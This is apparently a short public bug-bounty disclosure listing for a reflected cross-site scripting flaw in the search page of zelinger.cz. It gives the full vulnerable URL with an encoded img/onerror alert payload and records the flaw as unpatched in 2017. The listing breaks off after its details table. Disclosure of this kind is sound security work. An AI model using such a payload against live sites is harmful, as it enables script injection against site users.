zelinger.cz XSS vulnerability

Vulnerable URL: http://www.zelinger.cz/de/search?phrase=%2F%27%22--%21%3E+%3Cimg+src%3Dx+onerror%3Dalert%28%22openbugbounty%22%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...